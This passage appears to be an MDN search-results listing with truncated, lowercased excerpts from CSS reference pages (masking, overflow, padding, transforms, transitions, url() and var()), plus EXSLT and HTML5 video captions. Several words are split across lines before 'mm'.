mmendation initial definition ...
mask-repeat - CSS: Cascading Style Sheets
*/ mask-repeat: space round, no-repeat; mask-repeat: round repeat, space, repeat-x; /* global values */ mask-repeat: inherit; mask-repeat: initial; mask-repeat: unset; by default, the repeated images are clipped to the size of the element, but they can be scaled to fit (using round) or evenly distributed from end to end (using space). syntax one or more <repeat-style> values, separated by co
mmas. values <repeat-style> the one-value syntax is a shorthand for the full two-value syntax: single value two-value equivalent repeat-x repeat no-repeat repeat-y no-repeat repeat repeat repeat repeat space space space round round round no-repeat no-repeat no-repeat in t...
...nd</option> <option value="no-repeat">no-repeat</option> </select> javascript content var repetition = document.getelementbyid("repetition"); repetition.addeventlistener("change", function (evt) { document.getelementbyid("masked").style.maskrepeat = evt.target.value; }); result multiple mask image support you can specify a different <repeat-style> for each mask image, separated by co
mmas: .examplethree { mask-image: url('mask1.png'), url('mask2.png'); mask-repeat: repeat-x, repeat-y; } each image is matched with the corresponding repeat style, from first specified to last. specifications specification status co
mment css masking module level 1the definition of 'mask-repeat' in that specification. candidate reco
mmendation initial definit...
mask-size - CSS: Cascading Style Sheets
5%; mask-size: 6px, auto, contain; /* global values */ mask-size: inherit; mask-size: initial; mask-size: unset; note: if the value of this property is not set in a mask shorthand property that is applied to the element after the mask-size css property, the value of this property is then reset to its initial value by the shorthand property. syntax one or more <bg-size> values, separated by co
mmas. a <bg-size> can be specified in one of three ways: using the keyword contain using the keyword cover using width and height values to specify a size using width and height, you can supply one or two values: if only one value is given it sets the width, with the height set to auto. if two values are given, the first sets width and the second sets height. each value can be a <lengt...
...ption value="200px 100px">200px 100px</option> <option value="cover">cover</option> <option value="contain">contain</option> </select> javascript var masksize = document.getelementbyid("masksize"); masksize.addeventlistener("change", function (evt) { document.getelementbyid("masked").style.masksize = evt.target.value; }); result specifications specification status co
mment css masking module level 1the definition of 'mask-size' in that specification. candidate reco
mmendation initial definition ...
mask - CSS: Cascading Style Sheets
this will ensure that mask-border has also been reset to allow the new styles to take effect. ...
...ngle>?<angular-color-hint> = <angle-percentage>where <color-stop-length> = <length-percentage>{1,2}<color-stop-angle> = <angle-percentage>{1,2}<angle-percentage> = <angle> | <percentage> examples masking an image .target { mask: url(#c1) luminance; } .anothertarget { mask: url(resources.svg#c1) 50px 30px/10px 10px repeat-x exclude; } specifications specification status co
mment css masking module level 1the definition of 'mask' in that specification. candidate reco
mmendation extends its usage to html elements. extends its syntax by making it a shorthand for the new mask-* properties defined in that specification. scalable vector graphics (svg) 1.1 (second edition)the definition of 'mask' in that specification. reco
mmendation initi...
max-width - CSS: Cascading Style Sheets
l be either 150 pixels wide or the width of the "parent," whichever is smaller. html <div id="parent"> <div id="child"> fusce pulvinar vestibulum eros, sed luctus ex lobortis quis. ...
... browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
min-width - CSS: Cascading Style Sheets
ercentage as specified or the absolute lengthanimation typea length, percentage or calc(); formal syntax auto | <length> | <percentage> | min-content | max-content | fit-content(<length-percentage>)where <length-percentage> = <length> | <percentage> examples setting minimum element width table { min-width: 75%; } form { min-width: 0; } specifications specification status co
mment css box sizing module level 4the definition of 'min-width' in that specification. editor's draft css box sizing module level 3the definition of 'min-width' in that specification. working draft adds the max-content, min-content, fit-content keywords. css flexible box layout modulethe definition of 'min-width' in that specification. candidate reco
mm...
... browser compatibility the compatibility table on this page is generated from structured data. ...
mix-blend-mode - CSS: Cascading Style Sheets
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobi...
... <circle cx="60" cy="80" r="40" fill="blue"/> </g> </svg> css circle { mix-blend-mode: screen; } .isolate { isolation: isolate; } /* without isolation, the background color will be taken into account */ result specifications specification status co
mment compositing and blending level 1the definition of 'mix-blend-mode' in that specification. candidate reco
mmendation initial definition browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on ...
<number> - CSS: Cascading Style Sheets
+ -0.0 zero, with a leading - .60 fractional number without a leading zero 10e3 scientific notation -3.4e-2 complicated scientific notation invalid numbers 12. decimal points must be followed by at least one digit. +-12.2 only one leading +/- is allowed. 12.1.1 only one decimal point is allowed. ...
... only one leading +/- is allowed. 12.1.1 only one decimal point is allowed. specifications specification status co
mment css values and units module level 4the definition of '<number>' in that specification. editor's draft no significant change. css values and units module level 3the definition of '<number>' in that specification. candidate reco
mmendation no significant change. css level 2 (revision 1)the definition of '<number>' in that specification. reco
mmendation explicit definition. css level 1the definition of '<number>' in that specification. reco
mmendation implicit definition. ...
object-fit - CSS: Cascading Style Sheets
if you'd like to contribute to the data, pl...
... } .cover { object-fit: cover; } .none { object-fit: none; } .scale-down { object-fit: scale-down; } result specifications specification status co
mment css images module level 4the definition of 'object-fit' in that specification. working draft css images module level 3the definition of 'object-fit' in that specification. candidate reco
mmendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on ...
order - CSS: Cascading Style Sheets
space as available. ...
...</aside> </main> <footer>...</footer> css main { display: flex; text-align:center; } main > article { flex:1; order: 2; } main > nav { width: 200px; order: 1; } main > aside { width: 200px; order: 3; } result specifications specification status co
mment css flexible box layout modulethe definition of 'order' in that specification. candidate reco
mmendation initial definition initial value0applies toflex items and absolutely-positioned flex container childreninheritednocomputed valueas specifiedanimation typean integer ...
outline-offset - CSS: Cascading Style Sheets
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilec...
...ting outline offset in pixels html <p>gallia est omnis divisa in partes tres.</p> css p { outline: 1px dashed red; outline-offset: 10px; background: yellow; border: 1px solid blue; margin: 15px; } result specifications specification status co
mment css basic user interface module level 3the definition of 'outline-offset' in that specification. reco
mmendation initial definition browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on ...
overflow-x - CSS: Cascading Style Sheets
overflow-y is hidden, scroll or auto and this property is visible, it will implicitly compute to auto. hidden content is clipped if necessary to fit horizontally in the padding box. no scrollbars are provided. clip like for hidden, the content is clipped to the element's padding box. the difference between clip and hidden is that the clip keyword also forbids all scrolling, including progra
mmatic scrolling. the box is not a scroll container, and does not start a new formatting context. if you wish to start a new formatting context, you can use display: flow-root to do so. scroll content is clipped if necessary to fit horizontally in the padding box. browsers display scrollbars whether or not any content is actually clipped. (this prevents scrollbars from appearing or disappearing wh...
... working draft ...
overflow - CSS: Cascading Style Sheets
verflow-y. otherwise, both overflow-x and overflow-y are set to the same value. values visible content is not clipped and may be rendered outside the padding box. hidden content is clipped if necessary to fit the padding box. no scrollbars are provided, and no support for allowing the user to scroll (such as by dragging or using a scroll wheel) is allowed. the content can be scrolled progra
mmatically (for example, by setting the value of a property such as offsetleft), so the element is still a scroll container. clip like for hidden, the content is clipped to the element's padding box. the difference between clip and hidden is that the clip keyword also forbids all scrolling, including progra
mmatic scrolling. the box is not a scroll container, and does not start a new formatting c...
...{ overflow: scroll; /* always show scrollbars */ } overflow: scroll sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium. p { overflow: auto; /* append scrollbars if necessary */ } overflow: auto sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium. specifications specification status co
mment css overflow module level 3the definition of 'overflow' in that specification. working draft changed syntax to allow one or two keywords instead of only one css level 2 (revision 1)the definition of 'overflow' in that specification. reco
mmendation initial definition. ...
padding-bottom - CSS: Cascading Style Sheets
...
...etting padding bottom with pixels and percentages .content { padding-bottom: 5%; } .sidebox { padding-bottom: 10px; } specifications specification status co
mment css basic box modelthe definition of 'padding-bottom' in that specification. working draft no change. css level 2 (revision 1)the definition of 'padding-bottom' in that specification. reco
mmendation no change. css level 1the definition of 'padding-bottom' in that specification. reco
mmendation initial definition. ...
padding-left - CSS: Cascading Style Sheets
...
...amples setting left padding using pixels and percentages .content { padding-left: 5%; } .sidebox { padding-left: 10px; } specifications specification status co
mment css basic box modelthe definition of 'padding-left' in that specification. working draft no change. css level 2 (revision 1)the definition of 'padding-left' in that specification. reco
mmendation no change. css level 1the definition of 'padding-left' in that specification. reco
mmendation initial definition. ...
padding-right - CSS: Cascading Style Sheets
...
...s setting right padding using pixels and percentages .content { padding-right: 5%; } .sidebox { padding-right: 10px; } specifications specification status co
mment css basic box modelthe definition of 'padding-right' in that specification. working draft no change. css level 2 (revision 1)the definition of 'padding-right' in that specification. reco
mmendation no change. css level 1the definition of 'padding-right' in that specification. reco
mmendation initial definition. ...
padding-top - CSS: Cascading Style Sheets
...
...> examples setting top padding using pixels and percentages .content { padding-top: 5%; } .sidebox { padding-top: 10px; } specifications specification status co
mment css basic box modelthe definition of 'padding-top' in that specification. working draft no change. css level 2 (revision 1)the definition of 'padding-top' in that specification. reco
mmendation no change. css level 1the definition of 'padding-top' in that specification. reco
mmendation initial definition. ...
<shape> - CSS: Cascading Style Sheets
. interpolation when animated, values of the <shape> data type are interpolated over their top, right, bottom, and left components, each treated as a real, floating-point number. the speed of the interpolation is determined by the timing function associated with the animation. example img.clip04 { clip: rect(10px, 20px, 20px, 10px); } specifications specification status co
mment css level 2 (revision 1)the definition of '<shape>' in that specification. reco
mmendation defines with the clip property. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedge...
...t 1edge full support 12firefox full support 1ie full support 5.5notes full support 5.5notes notes for internet explorer versions 5.5 through 7, the rect() function uses spaces (instead of co
mmas) to separate parameters. for internet explorer 8 and later versions, only the standard co
mma-separated syntax is supported.opera full support 9.5safari full support 1.3webview android full support 37chrome android full support ...
<string> - CSS: Cascading Style Sheets
css level 1the definition of '<st...
... /* new line in a string */ "this string has a \aline break in it." /* string spanning two lines of code (these two strings will have identical output) */ "a really long \ awesome string" "a really long awesome string" specifications specification status co
mment css values and units module level 3the definition of '<string>' in that specification. candidate reco
mmendation no significant change from css level 2 (revision 1). css level 2 (revision 1)the definition of '<string>' in that specification. reco
mmendation explicit definition; allows 6-digit unicode escaped characters. css level 1the definition of '<string>' in that specification. reco
mmendation implicit definition; allows 4-digit unicode escaped characters. ...
text-combine-upright - CSS: Cascading Style Sheets
f horizontal text, but it is currently supported by more browsers than the digits value. ...
... class="num">105</span >年<span class="num">4</span >月<span class="num">29</span>日</p> css html { writing-mode: vertical-rl; font: 24px serif } .num { text-combine-upright: all } results screenshotlive sample specifications specification status co
mment css writing modes level 4the definition of 'text-combine-upright' in that specification. candidate reco
mmendation add digits value css writing modes module level 3the definition of 'text-combine-upright' in that specification. proposed reco
mmendation initial definition ...
text-decoration-line - CSS: Cascading Style Sheets
en visible and invisible). conforming user agents may simply not blink the text. this value is deprecated in favor of css animations. formal definition initial valuenoneapplies toall elements. ...
...| blink ] | spelling-error | gra
mmar-error examples <p class="wavy">here's some text with wavy red underline!</p> <p class="both">this text has lines both above and below it.</p> .wavy { text-decoration-line: underline; text-decoration-style: wavy; text-decoration-color: red; } .both { text-decoration-line: underline overline; } specifications specification status co
mment css text decoration module level 3the definition of 'text-decoration-line' in that specification. candidate reco
mmendation initial definition. the text-decoration property is now a shorthand to define multiple related properties. ...
text-decoration - CSS: Cascading Style Sheets
added support for the value of tex...
...n the browser you use.</p> specifications specification status co
mment css text decoration module level 4 working draft adds text-decoration-thickness; note that this isn't yet officially part of the shorthand — this is as yet unspecified. css text decoration module level 3the definition of 'text-decoration' in that specification. candidate reco
mmendation transformed into a shorthand property. added support for the value of text-decoration-style. css level 2 (revision 1)the definition of 'text-decoration' in that specification. reco
mmendation no significant changes. css level 1the definition of 'text-decoration' in that specification. reco
mmendation initial definition. ...
text-emphasis-color - CSS: Cascading Style Sheets
ue> ]? ) | hsla( <hue>, <percentage>, <percentage>, <alpha-value>? ...
...r> | <angle> examples emphasis with a color and custom character css em { text-emphasis-color: green; text-emphasis-style: "*"; } html <p>here's an example:</p> <em>this has emphasis marks!</em> result specifications specification status co
mment css text decoration module level 3the definition of 'text-emphasis' in that specification. candidate reco
mmendation initial definition ...
text-emphasis-style - CSS: Cascading Style Sheets
or ignore strings consisting of more than one grapheme cluster. ...
...eritednocomputed valueas specifiedanimation typediscrete formal syntax none | [ [ filled | open ] | [ dot | circle | double-circle | triangle | sesame ] ] | <string> examples h2 { text-emphasis-style: sesame; } specifications specification status co
mment css text decoration module level 3the definition of 'text-emphasis' in that specification. candidate reco
mmendation initial definition ...
text-rendering - CSS: Cascading Style Sheets
lity (in your browser; other browsers may vary). ...
...t - ff fi fl ffl</p> css p { font: 1.5em "constantia", "times new roman", "georgia", "palatino", serif } .speed { text-rendering: optimizespeed; } .legibility { text-rendering: optimizelegibility; } result specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'text-rendering' in that specification. candidate reco
mmendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'text-rendering' in that specification. reco
mmendation initial definition ...
text-underline-offset - CSS: Cascading Style Sheets
alues */ text-underline-offset: inherit; text-underline-offset: initial; text-underline-offset: unset; the text-underline-offset property is specified as a single value from the list below. values auto the browser chooses the appropriate offset for underlines. <length> specifies the offset of underlines as a <length>, overriding the font file suggestion and the browser default. it is reco
mmended to use em units so the offset scales with the font size. <percentage> specifies the offset of underlines as a <percentage> of 1 em in the element's font. a percentage inherits as a relative value, and so therefore scales with changes in the font. for a given application of this property, the offset is constant across the whole box that the underline is applied to, even if there are child e...
...ass="oneline">here's some text with an offset wavy red underline!</p> <br> <p class="twolines">this text has lines both above and below it. only the bottom one is offset.</p> p { text-decoration: underline wavy red; text-underline-offset: 1em; } .twolines { text-decoration-color: purple; text-decoration-line: underline overline; } specifications specification status co
mment css text decoration module level 4the definition of 'text-underline-offset' in that specification. working draft initial definition. ...
text-underline-position - CSS: Cascading Style Sheets
line-position property inherits and is not reset by the text-decoration shorthand property, it may be appropriate to set its value at a global level. ...
...lobal level. for example, the under value may be appropriate for a document with lots of chemical and mathematical formulas, which make a large use of subscripts. ...
<time-percentage> - CSS: Cascading Style Sheets
ages 50% +50% optional plus sign -50% negative percentages are not valid for all properties that accept percentages invalid percentages 50 % space not allowed between the space and the percentage sign valid times 12s positive integer -456ms negative integer 4.3ms non-integer 14ms the unit is case-insensitive, although capital letters are not reco
mmended. +0s zero with a leading + and a unit -0ms zero with a leading - and a unit invalid times 0 although unitless zero is allowed for <length>s, it's invalid for <time>s. 12.0 this is a <number>, not a <time>, because it's missing a unit. 7 ms no space is allowed between the number and the unit. specifications specification status co
mme...
...t's missing a unit. 7 ms no space is allowed between the number and the unit. specifications specification status co
mment css values and units module level 4the definition of '<time-percentage>' in that specification. editor's draft css values and units module level 3the definition of '<time-percentage>' in that specification. candidate reco
mmendation defines <time-percentage>. adds calc() ...
top - CSS: Cascading Style Sheets
...
... solid blue; } <div>the size of this content is determined by the position of its edges.</div> specifications specification status co
mment css positioned layout module level 3the definition of 'top' in that specification. working draft adds behavior for sticky positioning. css level 2 (revision 1)the definition of 'top' in that specification. reco
mmendation initial definition. ...
touch-action - CSS: Cascading Style Sheets
g wcag 2.0 formal definition initial valueautoapplies toall elements except: non-replaced inline elements, table rows, row groups, table columns, and column groupsinheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | none | [ [ pan-x | pan-left | pan-right ] | [ pan-y | pan-up | pan-down ] | pinch-zoom ] | manipulation examples disabling all gestures the most co
mmon usage is to disable all gestures on an element (and its non-scrollable descendants) that provides its own dragging and zooming behavior – such as a map or game surface. html <div id="map"></div> css #map { height: 400px; width: 400px; background: blue; touch-action: none; } result specifications specification status co
mment compatibility standardt...
...atibility standardthe definition of 'touch-action' in that specification. living standard added pinch-zoom property value. pointer events – level 3the definition of 'touch-action' in that specification. editor's draft added pan-left, pan-right, pan-up, pan-down property values. pointer events – level 2the definition of 'touch-action' in that specification. reco
mmendation latest reco
mmendation. pointer eventsthe definition of 'touch-action' in that specification. obsolete initial definition. ...
rotate3d() - CSS: Cascading Style Sheets
if, as specified, the vector is not normalized (i.e., if the sum of the square of its three coordinates is not 1), the user agent will normalize it internally. a non-normalizable vector, such as the null vector, [0, 0, 0], will cause the rotation to be ignored, but without invaliding the whole css property. note: unlike rotations in the 2d plane, the composition of 3d rotations is usually not co
mmutative. in other words, the order in which the rotations are applied impacts the result. syntax the amount of rotation created by rotate3d() is specified by three <number>s and one <angle>. the <number>s represent the x-, y-, and z-coordinates of the vector denoting the axis of rotation. the <angle> represents the angle of rotation; if positive, the movement will be clockwise; if negative, it w...
... editor's draft initial definition ...
rotateX() - CSS: Cascading Style Sheets
itory. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. the axis of rotation passes through an origin, defined by the transform-origin css property. note: rotatex(a) is equivalent to rotate3d(1, 0, 0, a). note: unlike rotations in the 2d plane, the composition of 3d rotations is usually not co
mmutative. in other words, the order in which the rotations are applied impacts the result. syntax the amount of rotation created by rotatex() is specified by an <angle>. if positive, the movement will be clockwise; if negative, it will be counter-clockwise. rotatex(a) values a is an <angle> representing the angle of the rotation. a positive angle denotes a clockwise rotation, a negative an...
...can't be represented on the plane. 1000cos(a)-sin(a)0sin(a)cos(a) 10000cos(a)-sin(a)00sin(a)cos(a)00001 examples html <div>normal</div> <div class="rotated">rotated</div> css div { width: 80px; height: 80px; background-color: skyblue; } .rotated { transform: rotatex(45deg); background-color: pink; } result specifications specification status co
mment css transforms level 2the definition of 'rotatex()' in that specification. editor's draft initial definition ...
rotateY() - CSS: Cascading Style Sheets
itory. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. the axis of rotation passes through an origin, defined by the transform-origin css property. note: rotatey(a) is equivalent to rotate3d(0, 1, 0, a). note: unlike rotations in the 2d plane, the composition of 3d rotations is usually not co
mmutative. in other words, the order in which the rotations are applied impacts the result. syntax the amount of rotation created by rotatey() is specified by an <angle>. if positive, the movement will be clockwise; if negative, it will be counter-clockwise. rotatey(a) values a is an <angle> representing the angle of the rotation. a positive angle denotes a clockwise rotation, a negative an...
...can't be represented on the plane. cos(a)0sin(a)010-sin(a)0cos(a) cos(a)0sin(a)00100-sin(a)0cos(a)00001 examples html <div>normal</div> <div class="rotated">rotated</div> css div { width: 80px; height: 80px; background-color: skyblue; } .rotated { transform: rotatey(60deg); background-color: pink; } result specifications specification status co
mment css transforms level 2the definition of 'rotatey()' in that specification. editor's draft initial definition ...
rotateZ() - CSS: Cascading Style Sheets
'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. the axis of rotation passes through an origin, defined by the transform-origin css property. note: rotatez(a) is equivalent to rotate(a) or rotate3d(0, 0, 1, a). note: unlike rotations in the 2d plane, the composition of 3d rotations is usually not co
mmutative. in other words, the order in which the rotations are applied impacts the result. syntax the amount of rotation created by rotatez() is specified by an <angle>. if positive, the movement will be clockwise; if negative, it will be counter-clockwise. rotatez(a) values a is an <angle> representing the angle of the rotation. a positive angle denotes a clockwise rotation, a negative an...
...e represented on the plane. cos(a)-sin(a)0sin(a)cos(a)0001 cos(a)-sin(a)00 sin(a)cos(a)00 0010 0001 examples html <div>normal</div> <div class="rotated">rotated</div> css div { width: 80px; height: 80px; background-color: skyblue; } .rotated { transform: rotatez(45deg); background-color: pink; } result specifications specification status co
mment css transforms level 2the definition of 'rotatez()' in that specification. editor's draft initial definition ...
scale() - CSS: Cascading Style Sheets
he element's aspect ratio. cartesian coordinates on ℝ2 homogeneous coordinates on ℝℙ2 cartesian coordinates on ℝ3 homogeneous coordinates on ℝℙ3 sx0 0sy sx000sy0001 sx000sy0001 sx0000sy0000100001 [sx 0 0 sy 0 0] accessibility concerns scaling/zooming animations are problematic for accessibility, as they are a co
mmon trigger for certain types of migraine. if you need to include such animations on your website, you should provide a control to allow users to turn off animations, preferrably site-wide. also, consider making use of the prefers-reduced-motion media feature — use it to write a media query that will turn off animations if the user has reduced animation specified in their system preferences. fi...
... working draft initial definition ...
scaleX() - CSS: Cascading Style Sheets
defines a transformation that resizes an element along the x-axis (horizontally). its result is a <transform-function> data type. it modifies the abscissa of each element point by a constant factor, except when the scale factor is 1, in which case the function is the identity transform. the scaling is not isotropic, and the angles of the element are not conserved. scalex(-1) defines an axial sy
mmetry, with a vertical axis passing through the origin (as specified by the transform-origin property). note: scalex(sx) is equivalent to scale(sx, 1) or scale3d(sx, 1, 1). syntax scalex(s) values s is a <number> representing the scaling factor to apply on the abscissa of each point of the element. cartesian coordinates on ℝ2 homogeneous coordinates on ℝℙ2 cartesia...
... working draft initial definition ...
scaleY() - CSS: Cascading Style Sheets
n defines a transformation that resizes an element along the y-axis (vertically). its result is a <transform-function> data type. it modifies the ordinate of each element point by a constant factor, except when the scale factor is 1, in which case the function is the identity transform. the scaling is not isotropic, and the angles of the element are not conserved. scaley(-1) defines an axial sy
mmetry, with a horizontal axis passing through the origin (as specified by the transform-origin property). note: scaley(sy) is equivalent to scale(1, sy) or scale3d(1, sy, 1). transform: rotatex(180deg); === transform: scaley(-1); syntax scaley(s) values s is a <number> representing the scaling factor to apply on the ordinate of each point of the element. cartesian coordinate...
... working draft initial definition ...
scaleZ() - CSS: Cascading Style Sheets
examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. this scaling transformation modifies the z-coordinate of each element point by a constant factor, except when the scale factor is 1, in which case the function is the identity transform. the scaling is not isotropic, and the angles of the element are not conserved. scalez(-1) defines an axial sy
mmetry, with the z-axis passing through the origin (as specified by the transform-origin property). in the above interactive examples, perspective: 550px; (to create a 3d space) and transform-style: preserve-3d; (so the children, the 6 sides of the cube, are also positioned in the 3d space), have been set on the cube. note: scalez(sz) is equivalent to to scale3d(1, 1, sz). syntax scalez(s) v...
... editor's draft initial definition ...
transform - CSS: Cascading Style Sheets
ues <transform-function> one or more of the css transform functions to be applied. the transform functions are multiplied in order from left to right, meaning that composite transforms are effectively applied in order from right to left. none specifies that no transform should be applied. accessibility concerns scaling/zooming animations are problematic for accessibility, as they are a co
mmon trigger for certain types of migraine. if you need to include such animations on your website, you should provide a control to allow users to turn off animations, preferrably site-wide. also, consider making use of the prefers-reduced-motion media feature — use it to write a media query that will turn off animations if the user has reduced animation specified in their system preferences. fi...
... editor's draft adds 3d transform functions. css transforms level 1the definition of 'transform' in that specification. working draft initial definition. ...
transition-delay - CSS: Cascading Style Sheets
e starting a property's transition effect when its value changes. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. the delay may be zero, positive, or negative: a value of 0s (or 0ms) will begin the transition effect i
mmediately. a positive value will delay the start of the transition effect for the given length of time. a negative value will begin the transition effect i
mmediately, and partway through the effect. in other words, the effect will be animated as if it had already been running for the given length of time. you may specify multiple delays, which is useful when transitioning multiple properties. e...
... working draft initial definition ...
transition - CSS: Cascading Style Sheets
each single-property transition describes the transition that should be applied to a single property (or the special values all and none). it includes: zero or one value representing the property to which the transition should apply. this may be any one of: the keyword none the keyword all a <custom-ident> naming a css property. zero or one <single-transition-timing-funct...
... working draft initial definition ...
url() - CSS: Cascading Style Sheets
t: 100vh; } .background { background: yellow; background: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='90' height='45'%3e%3cpath d='m10 10h60' stroke='%2300f' stroke-width='5'/%3e%3cpath d='m10 20h60' stroke='%230f0' stroke-width='5'/%3e%3cpath d='m10 30h60' stroke='red' stroke-width='5'/%3e%3c/svg%3e"); } specifications specification status co
mment css values and units module level 4the definition of 'url()' in that specification. editor's draft css values and units module level 3the definition of 'url()' in that specification. candidate reco
mmendation no significant change from css level 2 (revision 1). css level 2 (revision 1)the definition of 'uri()' in that specification. reco
mmendation ...
... css values and units module level 3the definition of 'url()' in that specification. candidate reco
mmendation no significant change from css level 2 (revision 1). css level 2 (revision 1)the definition of 'uri()' in that specification. reco
mmendation no significant change from css level 1. css level 1the definition of 'url()' in that specification. reco
mmendation initial definition. ...
<url> - CSS: Cascading Style Sheets
a_css_property>: url("http://mysite.example.com/mycursor.png") <a_css_property>: url('http://mysite.example.com/mycursor.png') <a_css_property>: url(http://mysite.example.com/mycursor.png) examples .topbanner { background: url("topbanner.png") #00d no-repeat fixed; } ul { list-style: square url(http://www.example.com/redball.png); } specifications specification status co
mment css values and units module level 4the definition of '<url>' in that specification. editor's draft css values and units module level 3the definition of '<url>' in that specification. candidate reco
mmendation no significant change from css level 2 (revision 1). css level 2 (revision 1)the definition of '<uri>' in that specification. reco
mmendation ...
... css values and units module level 3the definition of '<url>' in that specification. candidate reco
mmendation no significant change from css level 2 (revision 1). css level 2 (revision 1)the definition of '<uri>' in that specification. reco
mmendation no significant change from css level 1. css level 1the definition of '<url>' in that specification. reco
mmendation initial definition. ...
Used value - CSS: Cascading Style Sheets
...
...n-right, margin-top min-height, min-width padding-bottom, padding-left, padding-right, padding-top text-indent specification specification status co
mment css level 2 (revision 2)the definition of 'used value' in that specification. working draft no change. css level 2 (revision 1)the definition of 'used value' in that specification. reco
mmendation initial definition. ...
var() - CSS: Cascading Style Sheets
x the first argument to the function is the name of the custom property to be substituted. an optional second argument to the function serves as a fallback value. if the custom property referenced by the first argument is invalid, the function uses the second value. var( <custom-property-name> , <declaration-value>? ) note: the syntax of the fallback, like that of custom properties, allows co
mmas. for example, var(--foo, red, blue) defines a fallback of red, blue; that is, anything between the first co
mma and the end of the function is considered a fallback value. values <custom-property-name> a custom property’s name represented by an identifier that starts with two dashes. custom properties are solely for use by authors and users; css will never give them a meaning beyond what...
...var(--main-bg-color); } /* fallback */ /* in the component’s style: */ .component .header { color: var(--header-color, blue); /* header-color isn’t set, and so remains blue, the fallback value */ } .component .text { color: var(--text-color, black); } /* in the larger application’s style: */ .component { --text-color: #080; } specifications specification status co
mment css custom properties for cascading variables module level 1the definition of 'var()' in that specification. candidate reco
mmendation initial definition ...
widows - CSS: Cascading Style Sheets
ph containing some more text than the first one. it is used to demonstrate how widows work.</p> <p>this is the third paragraph. it has a little bit more text than the first one.</p> </div> css div { background-color: #8cffa0; columns: 3; widows: 2; } p { background-color: #8ca0ff; } p:first-child { margin-top: 0; } result specifications specification status co
mment css fragmentation module level 3the definition of 'widows' in that specification. candidate reco
mmendation extends widows to apply to any type of fragment, including pages, regions, or columns. css multi-column layout modulethe definition of 'widows' in that specification. working draft reco
mmendations to consider widows in relation to columns. css le...
... in that specification. candidate reco
mmendation extends widows to apply to any type of fragment, including pages, regions, or columns. css multi-column layout modulethe definition of 'widows' in that specification. working draft reco
mmendations to consider widows in relation to columns. css level 2 (revision 1)the definition of 'widows' in that specification. reco
mmendation initial definition. ...
will-change - CSS: Cascading Style Sheets
r expects to animate or change the property with the given name on the element in the near future. if the property given is a shorthand, it indicates the expectation for all the longhands the shorthand expands to. it cannot be one of the following values: unset, initial, inherit, will-change, auto, scroll-position, or contents. the spec doesn't define the behavior of particular value, but it is co
mmon for transform to be a compositing layer hint. chrome currently takes two actions, given particular css property idents: establish a new compositing layer or a new stacking context. via stylesheet it may be appropriate to include will-change in your style sheet for an application that does page flips on key presses like an album or a slide deck presentation where the pages are large and compl...
...nt is hovered el.addeventlistener('mouseenter', hintbrowser); el.addeventlistener('animationend', removehint); function hintbrowser() { // the optimizable properties that are going to change // in the animation's keyframes block this.style.willchange = 'transform, opacity'; } function removehint() { this.style.willchange = 'auto'; } specifications specification status co
mment css will change module level 1the definition of 'will-change' in that specification. candidate reco
mmendation initial definition ...
word-spacing - CSS: Cascading Style Sheets
working draft replaces the previous values with a <spacing-limit> value that defines the same thing, plus the <percentage> value. allows up to three values describing the optimum, minimum, and maximum value. css level 2 (revision 1)the definition of 'word-spacing' in that specification. ...
... css text module level 3the definition of 'word-spacing' in that specification. working draft replaces the previous values with a <spacing-limit> value that defines the same thing, plus the <percentage> value. allows up to three values describing the optimum, minimum, and maximum value. css level 2 (revision 1)the definition of 'word-spacing' in that specification. reco
mmendation no change. css level 1the definition of 'word-spacing' in that specification. reco
mmendation initial definition. ...
EXSLT
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes exslt is a set of extensions to xslt. there are a number of modules; those that are supported by firefox are listed below: co
mmon (exsl)the exslt co
mmon package provides basic functions that expand upon the capabilities of xslt.math (math)the exslt math package provides functions for working with numeric values and comparing nodes.regular expressions (regexp)the exslt regular expressions package provides functions that allow testing, matching, and replacing text using javascript style regular expressions.sets (set)the exslt sets package offers functions that let you perform set manipulation.strings (str)the exslt strings package provides functions that allow the manipulation of strings. exslt m...
...he function. for example, to use the regular expressions package: <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/xsl/transform" xmlns:regexp="http://exslt.org/regular-expressions"> <xsl:template match="/"> ... <xsl:value-of select="regexp:replace(/root/@value, 'before', 'gi', 'after')"/> ... </xsl:template> </xsl:stylesheet> co
mmon the exslt co
mmon package provides basic functions that expand upon the capabilities of xslt. the namespace for the co
mmon package is http://exslt.org/co
mmon. functions exsl:node-set() exsl:object-type() math the exslt math package provides functions for working with numeric values and comparing nodes. the namespace for the math package is http://exslt.org/math. functions math:highe...
Adding captions and subtitles to HTML5 video - Developer guides
github, and also view the example live. html5 and video captions before diving into how to add captions to the video player, there are a number of things that we will first mention, which you should be aware of before we start. captions versus subtitles captions and subtitles are not the same thing: they have significantly different audiences, and convey different information, and it is reco
